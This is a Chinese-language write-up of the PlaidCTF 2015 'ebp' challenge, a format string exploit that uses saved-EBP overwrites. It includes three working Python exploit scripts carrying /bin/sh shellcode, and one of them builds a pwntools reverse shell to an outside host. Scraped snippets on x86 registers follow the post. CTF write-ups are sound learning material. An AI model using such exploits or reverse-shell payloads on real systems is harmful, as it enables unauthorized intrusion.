plaidctf2015 ebp

  很容易看出是格式化字符串漏洞。这里的格式化字符串漏洞不像传统的那样,格式化字符串是放在bss段中,并没放在栈上,因此利用起来有些困难。

  不过,我们可以利用ebp,可以修改函数的ebp,从而能控制函数的流程。

  第一步,修改了main‘s ebp(也就是修改了echo_ebp‘s ebp指向的内容)为make_response‘s ebp,为下一步修改echo‘s ebp做准备。

  第二步,修改echo‘s ebp(也就是修改了make_response‘s ebp指向的内容)为栈中某个地址(记为0x********),使得0x********+4(也就是echo‘s 返回地址)指向shellcode所在的缓冲区。经过观察,栈中确实存在这样的位置。

  这样,echo在返回的时候将执行shellcode。

  比赛时自己的poc如下:

 1 from socket import *
 2 import time
 3 shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x59\x50\x5a\xb0\x0b\xcd\x80\n"
 4 sock = socket(AF_INET, SOCK_STREAM)
 5 #sock.connect(("192.168.200.7", 10001)) #local debug
 6 sock.connect(("52.6.64.173", 4545))#remote
 7 time.sleep(1)
 8 infoleak="%x%x%x%x\n"
 9 sock.send(infoleak)
10 time.sleep(1)
11 leak=sock.recv(1024)
12 print leak
13 echo_ebp=leak[-6:-2]
14 print echo_ebp
15 echo_ebp=int(echo_ebp,16)
16 make_ebp=echo_ebp-32
17 main_ebp=echo_ebp+32
18 print hex(make_ebp)
19
20 format1="%%%dc" % make_ebp + "%4$hn\n"
21 sock.send(format1)
22 print sock.recv(1024)
23
24 format2="\x90\x90\xeb\x0f" + "%%%dc" % (echo_ebp+4-4) + "%12$hn" + "\x90"*10 + shellcode + "\n"
25 sock.send(format2)
26 print sock.recv(1024)
27
28 while 1:
29      sock.send(raw_input(‘$ ‘)+‘\n‘)
30      time.sleep(1)
31      print sock.recv(1024)
32 sock.close()

  结果:

  此外,赛后我也看了别人的writeup。第一篇见:http://geeksspeak.github.io/blog/2015/04/20/plaidctf-ctf-2015-ebp-writeup/ 分析得很清楚,原作者的Poc如下,我也从他的poc中学到了不少东西。这个poc比我自己写得要好不少,思路更清晰。

 1 import socket
 2 import struct
 3 import telnetlib
 4
 5 response = 0x0804a480
 6
 7 offset = 4 # saved frame pointer offset
 8
 9 shellcode = (  # /bin/sh shellcode at http://shell-storm.org/shellcode/files/shellcode-236.php
10   "\x6a\x0b\x58\x99\x52\x68\x2f\x2f"
11         "\x73\x68\x68\x2f\x62\x69\x6e\x54"
12         "\x5b\x52\x53\x54\x59\x0f\x34"
13 )
14
15 s = socket.create_connection(("52.6.64.173", 4545 ))
16 #s = socket.create_connection(("127.0.0.1", 8080 ))
17 s.send("%4$p\n")
18 addr = int(s.recv(1024), 16)
19 print "[+] Leaked Address: ", hex(addr)
20 addr1 = (addr - 0x1c) & 0xffff
21 print "[+] 2Byte Significant Byte to write : ", hex(addr1)
22
23 s.send("%"+str(addr1)+"x%"+str(offset)+"$hn\n")
24 s.recv(4096)
25
26 s.send(shellcode+"%"+str((response & 0xffff)-len(shellcode))+"x%"+str(12)+"$hn\n")
27 print "[+] Here you go"
28 t = telnetlib.Telnet()
29 t.sock = s
30 t.interact()

  还有另外一个版本,来自:https://ctf-team.vulnhub.com/plaidctf-2015-ebp/ 这个版本中利用了pwntools的反向shell,思路很清楚(比赛时我起初也是这样的思路,但是没有想到也不会使用反向shell),但是执行时间较长。学习了不少东西。代码如下:

 1 #!/usr/bin/env python
 2 from pwn import *
 3
 4 r = remote("52.6.64.173", 4545)
 5
 6 buf_addr = p32(0x0804a080)
 7 sc_addr  = p32(0x0804A09b)
 8
 9 payload =  ""
10 payload += "%134520975u%4$n"
11 payload += buf_addr
12 payload += sc_addr
13 payload += "AAAA"
14
15 payload += asm(shellcraft.linux.connect("x.x.x.x", 9898))
16 payload += asm(shellcraft.linux.dupsh())
17
18 print "+ sending payload"
19 r.send(payload + "\n")
20 print "+ got back:", r.recv()
时间: 2024-10-14 04:40:54

plaidctf2015 ebp的相关文章

寄存器简介 与 ebp esp

http://www.cnblogs.com/zhuyuanhao/archive/2012/10/16/3262870.html 32位CPU所含有的寄存器有:4个数据寄存器(EAX.EBX.ECX和EDX)2个变址和指针寄存器(ESI和EDI) 2个指针寄存器(ESP和EBP) 6个段寄存器(ES.CS.SS.DS.FS和GS)1个指令指针寄存器(EIP) 1个标志寄存器(EFlags)

esp和ebp指针

gdb调试的时候会出现esp和ebp这两个指针,而这两个指针为我们查看栈的情况提供了方便. 简单点说,esp指向栈顶,而ebp指向栈底.例如一段程序: 1 #include <stdio.h> 2 3 int layout(int a){ 4 int b = a + 5; 5 return b; 6 } 7 8 int main(void){ 9 int a = 5; 10 layout(5); 11 12 return 0; 13 } 执行过程中esp和ebp的状态如下: 这时执行main函

函数调用(ebp,esp,堆栈快照)

概率 esp :栈顶指针,必须的 ebp:  存放堆栈指针,不是必须的 #include <stdio.h> int func(int param1 ,int param2,int param3) { int var1 = param1; int var2 = param2; int var3 = param3; printf("var1=%d,var2=%d,var3=%d",var1,var2,var3); return var1; } int main(int arg

esp和ebp详解

最近在研究栈帧的结构,但总是有点乱,所以写了一个小程序来看看esp和ebp在栈帧中的作用.这个程序如下: 这个程序很简单,就是求两个数的值,然后输出即可.所以首先把它用gcc编译链接成a.out,进入gdb进行调试. 首先在main和add两处设置断点.运行到第一个断点,查看main的汇编代码: 我们主要是观察调用add后我们的esp和ebp的变化,于是输入命令:c,继续运行到add处,观察add的汇编: 其实也就是运行到了main的call指令处进入add函数了.这时到了观察esp和ebp的时

对于ESP、EBP寄存器的理解

原文:http://blog.csdn.net/yeruby/article/details/39780943 esp是栈指针,是cpu机制决定的,push.pop指令会自动调整esp的值: ebp只是存取某时刻的esp,这个时刻就是进入一个函数内后,cpu会将esp的值赋给ebp,此时就可以通过ebp对栈进行操作,比如获取函数参数,局部变量等,实际上使用esp也可以: 既然使用esp也可以,那么为什么要设定ebp呢? 答案是为了方便程序员. 因为esp在函数运行时会不断的变化,所以保存一个一进

ESP和EBP指针寄存器

(转)ESP和EBP指针寄存器 2012-04-12 20:37:18 分类: 嵌入式 ebp和esp是32位的SP,BP esp是堆栈指针     ebp是基址指针 ESP与SP的关系就象AX与AL,AH的关系. 32位CPU所含有的寄存器有: 4个数据寄存器(EAX.EBX.ECX和EDX)2个变址和指针寄存器(ESI和EDI) 2个指针寄存器(ESP和EBP)6个段寄存器(ES.CS.SS.DS.FS和GS)1个指令指针寄存器(EIP) 1个标志寄存器(EFlags) 1.数据寄存器 数据

EBP ESP 与 CAL

EBP 栈底指针(会随进入不同的函数而改变, 更喜欢手动改变, 自动的有时会画蛇添足) ESP栈顶指针(永远指向栈顶) CAL调用函数(隐含操作是将EIP的值入栈, 并将EIP设置为CALL指向的地址) 示例:  main()函数中的EBP = ESP = 12FF7C void fun2(int a, int b) { int x = a; int y = b; } 调用fun2()时,   首先入栈的数据是:fun2()的两个形参a,b(cdecl先将b入栈),       ESP+8 再将

汇编之 eax, ebx, ecx, edx, esi, edi, ebp, esp??

一般寄存器:AX.BX.CX.DXAX:累积暂存器,BX:基底暂存器,CX:计数暂存器,DX:资料暂存器 索引暂存器:SI.DISI:来源索引暂存器,DI:目的索引暂存器 堆叠.基底暂存器:SP.BPSP:堆叠指标暂存器,BP:基底指标暂存器 EAX.ECX.EDX.EBX:為ax,bx,cx,dx的延伸,各為32位元ESI.EDI.ESP.EBP:為si,di,sp,bp的延伸,32位元 eax, ebx, ecx, edx, esi, edi, ebp, esp等都是X86 汇编语言中CPU

堆栈中的EIP EBP ESP

EIP,EBP,ESP都是系统的寄存器,里面存的都是些地址. 为什么要说这三个指针,是因为我们系统中栈的实现上离不开他们三个. 我们DC上讲过栈的数据结构,主要有以下特点: 后进先处.(这个强调过多) 其实它还有以下两个作用: 1.栈是用来存储临时变量,函数传递的中间结果. 2.操作系统维护的,对于程序员是透明的. 我们可能只强调了它的后进先出的特点,至于栈实现的原理,没怎么讲?下面我们就通过一个小例子说说栈的原理. 先写个小程序: void fun(void) { printf("hello